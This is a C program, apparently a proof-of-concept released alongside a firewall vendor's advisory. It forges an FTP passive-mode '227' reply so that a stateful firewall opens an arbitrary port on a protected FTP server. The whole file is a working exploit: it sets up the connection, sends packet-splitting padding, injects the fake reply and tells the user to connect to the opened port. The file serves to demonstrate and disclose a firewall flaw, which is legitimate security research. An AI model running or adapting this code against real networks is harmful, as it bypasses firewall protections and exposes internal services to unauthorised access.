/*
  ftp-ozone.c
  
  Demonstrate a basic layer violation in "stateful" firewall
  inspection of application data (within IP packets - @#$@#$!):
 
     http://www.checkpoint.com/techsupport/alerts/pasvftp.html
  
  Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>

#define PAD_LEN		128	/* XXX - anything on BSD, but Linux is weird */

#define GREEN		"\033[0m\033[01m\033[32m"
#define OFF		"\033[0m"

jmp_buf env_buf;

void
usage(void)
{
  fprintf(stderr, "Usage: ftp-ozone [-w win] <ftp-server> <port-to-open>\n");
  exit(1);
}

u_long
resolve_host(char *host)
{
  u_long addr;
  struct hostent *hp;

  if (host == NULL) return (0);

  if ((addr = inet_addr(host)) == -1)
    {
      if ((hp = gethostbyname(host)) == NULL)
        return (0);
      memcpy((char *)&addr, hp->h_addr, sizeof(addr));
    }
  return (addr);
}

#define UC(b)	(((int)b)&0xff)

int
ftp_pasv_reply(char *buf, int size, u_long ip, u_short port)
{
  char *p, *q;

  port = htons(port);
  p = (char *)&ip;
  q = (char *)&port;

  return (snprintf(buf, size, "227 (%d,%d,%d,%d,%d,%d)\r\n",
                   UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
                   UC(q[0]), UC(q[1])));
}

void handle_timeout(int sig)
{
  alarm(0);
  longjmp(env_buf, 1);
}

void
read_server_loop(int fd, int timeout, int pretty)
{
  char buf[2048];
  int rlen;

  if (!setjmp(env_buf))
    {
      signal(SIGALRM, handle_timeout);
      alarm(timeout);
      for (;;)
        {
          if ((rlen = read(fd, buf, sizeof(buf))) == -1)
            break;
          if (pretty)
            {
              buf[rlen] = '\0';
              if (strncmp(buf, "227 ", 4) == 0)
                printf("[" GREEN "%s" OFF "]\n", buf);
              else printf("[%s]\n", buf);
            }
          else write(0, buf, rlen);
        }
      alarm(0);
    }
}

int
main(int argc, char *argv[])
{
  int c, fd, win, len;
  u_long dst;
  u_short dport;
  struct sockaddr_in sin;
  char buf[1024];

  win = PAD_LEN;

  while ((c = getopt(argc, argv, "w:h?")) != -1)
    {
      switch (c)
        {
        case 'w':
          if ((win = atoi(optarg)) == 0)
            usage();
          break;
        default:
          usage();
        }
    }
  argc -= optind;
  argv += optind;

  if (argc != 2)
    usage();

  if ((dst = resolve_host(argv[0])) == 0)
    usage();

  if ((dport = atoi(argv[1])) == 0)
    usage();

  /* Connect to FTP server. */
  memset(&sin, 0, sizeof(sin));
  sin.sin_addr.s_addr = dst;
  sin.sin_family = AF_INET;
  sin.sin_port = htons(21);

  if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
    {
      perror("socket");
      exit(1);
    }
  if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
    {
      perror("setsockopt");
      exit(1);
    }
  if (connect(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connect");
      exit(1);
    }
  read_server_loop(fd, 10, 0);

  /* Send padding. */
  len = win - 5; 	/* XXX - "500 '" */
  memset(buf, '.', len);

  if (write(fd, buf, len) != len)
    {
      perror("write");
      exit(1);
    }
  /* Send faked reply. */
  len = ftp_pasv_reply(buf, sizeof(buf), dst, dport);

  if (write(fd, buf, len) != len)
    {
      perror("write");
      exit(1);
    }
  read_server_loop(fd, 5, 1);

  printf("[ now try connecting to %s %d ]\n", argv[0], dport);

  for (;;)
    {
      ;
    }
  /* NOTREACHED */

  exit(0);
}

/* w00w00. */
